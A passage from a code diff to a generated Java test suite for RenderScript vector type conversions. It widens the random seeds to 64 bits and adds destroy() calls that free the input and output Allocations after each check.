+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Short2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -6611,11 +6900,12 @@
     }
 
     private void checkConvertShort3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xc8c0517fl, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xfe59ee23c8c0517fl, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Short3Ushort3(inV, out);
             verifyResultsConvertShort3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Short3Ushort3: " + e.toString());
         }
@@ -6623,9 +6913,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Short3Ushort3(inV, out);
             verifyResultsConvertShort3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Short3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -6679,11 +6971,12 @@
     }
 
     private void checkConvertShort4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x1f1be2abl, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xfea6b5ab1f1be2abl, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Short4Ushort4(inV, out);
             verifyResultsConvertShort4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Short4Ushort4: " + e.toString());
         }
@@ -6691,9 +6984,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Short4Ushort4(inV, out);
             verifyResultsConvertShort4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Short4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -6752,11 +7047,12 @@
     }
 
     private void checkConvertUshort2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xe362466l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xd2d27d910e362466l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Ushort2Ushort2(inV, out);
             verifyResultsConvertUshort2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Ushort2Ushort2: " + e.toString());
         }
@@ -6764,9 +7060,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Ushort2Ushort2(inV, out);
             verifyResultsConvertUshort2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Ushort2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -6820,11 +7118,12 @@
     }
 
     private void checkConvertUshort3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x6491b592l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xd31f45186491b592l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Ushort3Ushort3(inV, out);
             verifyResultsConvertUshort3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Ushort3Ushort3: " + e.toString());
         }
@@ -6832,9 +7131,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Ushort3Ushort3(inV, out);
             verifyResultsConvertUshort3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Ushort3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -6888,11 +7189,12 @@
     }
 
     private void checkConvertUshort4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xbaed46bel, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xd36c0c9fbaed46bel, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Ushort4Ushort4(inV, out);
             verifyResultsConvertUshort4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Ushort4Ushort4: " + e.toString());
         }
@@ -6900,9 +7202,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Ushort4Ushort4(inV, out);
             verifyResultsConvertUshort4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Ushort4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -6961,11 +7265,12 @@
     }
 
     private void checkConvertInt2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x14378844l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x1c02a5e414378844l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Int2Ushort2(inV, out);
             verifyResultsConvertInt2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Int2Ushort2: " + e.toString());
         }
@@ -6973,9 +7278,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Int2Ushort2(inV, out);
             verifyResultsConvertInt2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Int2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -7029,11 +7336,12 @@
     }
 
     private void checkConvertInt3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x6a931970l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x1c4f6d6b6a931970l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Int3Ushort3(inV, out);
             verifyResultsConvertInt3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Int3Ushort3: " + e.toString());
         }
@@ -7041,9 +7349,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Int3Ushort3(inV, out);
             verifyResultsConvertInt3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Int3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -7097,11 +7407,12 @@
     }
 
     private void checkConvertInt4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xc0eeaa9cl, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x1c9c34f2c0eeaa9cl, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Int4Ushort4(inV, out);
             verifyResultsConvertInt4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Int4Ushort4: " + e.toString());
         }
@@ -7109,9 +7420,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Int4Ushort4(inV, out);
             verifyResultsConvertInt4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Int4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -7170,11 +7483,12 @@
     }
 
     private void checkConvertUint2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xb00fa1efl, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x40d0c5ebb00fa1efl, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Uint2Ushort2(inV, out);
             verifyResultsConvertUint2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Uint2Ushort2: " + e.toString());
         }
@@ -7182,9 +7496,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Uint2Ushort2(inV, out);
             verifyResultsConvertUint2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Uint2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -7238,11 +7554,12 @@
     }
 
     private void checkConvertUint3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x66b331bl, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x411d8d73066b331bl, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Uint3Ushort3(inV, out);
             verifyResultsConvertUint3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Uint3Ushort3: " + e.toString());
         }
@@ -7250,9 +7567,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Uint3Ushort3(inV, out);
             verifyResultsConvertUint3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Uint3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -7306,11 +7625,12 @@
     }
 
     private void checkConvertUint4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x5cc6c447l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x416a54fa5cc6c447l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Uint4Ushort4(inV, out);
             verifyResultsConvertUint4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Uint4Ushort4: " + e.toString());
         }
@@ -7318,9 +7638,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Uint4Ushort4(inV, out);
             verifyResultsConvertUint4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Uint4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -7379,11 +7701,12 @@
     }
 
     private void checkConvertFloat2Int2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc069dd5dl, -2.1474835210000000000e+09, 2.1474835200000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8fb63fb7c069dd5dl, -2.1474835210000000000e+09, 2.1474835200000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Float2Int2(inV, out);
             verifyResultsConvertFloat2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Float2Int2: " + e.toString());
         }
@@ -7391,9 +7714,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Float2Int2(inV, out);
             verifyResultsConvertFloat2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Float2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -7447,11 +7772,12 @@
     }
 
     private void checkConvertFloat3Int3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xa11ed93l, -2.1474835210000000000e+09, 2.1474835200000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8fb63ff70a11ed93l, -2.1474835210000000000e+09, 2.1474835200000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Float3Int3(inV, out);
             verifyResultsConvertFloat3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Float3Int3: " + e.toString());
         }
@@ -7459,9 +7785,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Float3Int3(inV, out);
             verifyResultsConvertFloat3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Float3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -7515,11 +7843,12 @@
     }
 
     private void checkConvertFloat4Int4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x53b9fdc9l, -2.1474835210000000000e+09, 2.1474835200000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8fb6403653b9fdc9l, -2.1474835210000000000e+09, 2.1474835200000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Float4Int4(inV, out);
             verifyResultsConvertFloat4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Float4Int4: " + e.toString());
         }
@@ -7527,9 +7856,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Float4Int4(inV, out);
             verifyResultsConvertFloat4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Float4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -7588,11 +7919,12 @@
     }
 
     private void checkConvertChar2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x94c6831dl, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x880244ac94c6831dl, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Char2Int2(inV, out);
             verifyResultsConvertChar2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Char2Int2: " + e.toString());
         }
@@ -7600,9 +7932,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Char2Int2(inV, out);
             verifyResultsConvertChar2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Char2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -7656,11 +7990,12 @@
     }
 
     private void checkConvertChar3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xde6e9353l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x880244ebde6e9353l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Char3Int3(inV, out);
             verifyResultsConvertChar3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Char3Int3: " + e.toString());
         }
@@ -7668,9 +8003,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Char3Int3(inV, out);
             verifyResultsConvertChar3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Char3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -7724,11 +8061,12 @@
     }
 
     private void checkConvertChar4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x2816a389l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x8802452b2816a389l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Char4Int4(inV, out);
             verifyResultsConvertChar4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Char4Int4: " + e.toString());
         }
@@ -7736,9 +8074,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Char4Int4(inV, out);
             verifyResultsConvertChar4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Char4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -7797,11 +8137,12 @@
     }
 
     private void checkConvertUchar2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x923aa720l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x97cffb96923aa720l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Uchar2Int2(inV, out);
             verifyResultsConvertUchar2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Uchar2Int2: " + e.toString());
         }
@@ -7809,9 +8150,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Uchar2Int2(inV, out);
             verifyResultsConvertUchar2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Uchar2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -7865,11 +8208,12 @@
     }
 
     private void checkConvertUchar3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xdbe2b756l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x97cffbd5dbe2b756l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Uchar3Int3(inV, out);
             verifyResultsConvertUchar3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Uchar3Int3: " + e.toString());
         }
@@ -7877,9 +8221,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Uchar3Int3(inV, out);
             verifyResultsConvertUchar3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Uchar3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -7933,11 +8279,12 @@
     }
 
     private void checkConvertUchar4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x258ac78cl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x97cffc15258ac78cl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Uchar4Int4(inV, out);
             verifyResultsConvertUchar4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Uchar4Int4: " + e.toString());
         }
@@ -7945,9 +8292,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Uchar4Int4(inV, out);
             verifyResultsConvertUchar4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Uchar4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -8006,11 +8355,12 @@
     }
 
     private void checkConvertShort2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x252a2d69l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x85693203252a2d69l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Short2Int2(inV, out);
             verifyResultsConvertShort2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Short2Int2: " + e.toString());
         }
@@ -8018,9 +8368,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Short2Int2(inV, out);
             verifyResultsConvertShort2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Short2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -8074,11 +8426,12 @@
     }
 
     private void checkConvertShort3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x6ed23d9fl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x856932426ed23d9fl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Short3Int3(inV, out);
             verifyResultsConvertShort3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Short3Int3: " + e.toString());
         }
@@ -8086,9 +8439,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Short3Int3(inV, out);
             verifyResultsConvertShort3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Short3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -8142,11 +8497,12 @@
     }
 
     private void checkConvertShort4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xb87a4dd5l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x85693281b87a4dd5l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Short4Int4(inV, out);
             verifyResultsConvertShort4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Short4Int4: " + e.toString());
         }
@@ -8154,9 +8510,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Short4Int4(inV, out);
             verifyResultsConvertShort4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Short4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -8215,11 +8573,12 @@
     }
 
     private void checkConvertUshort2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xb7ac39eal, false, 16);
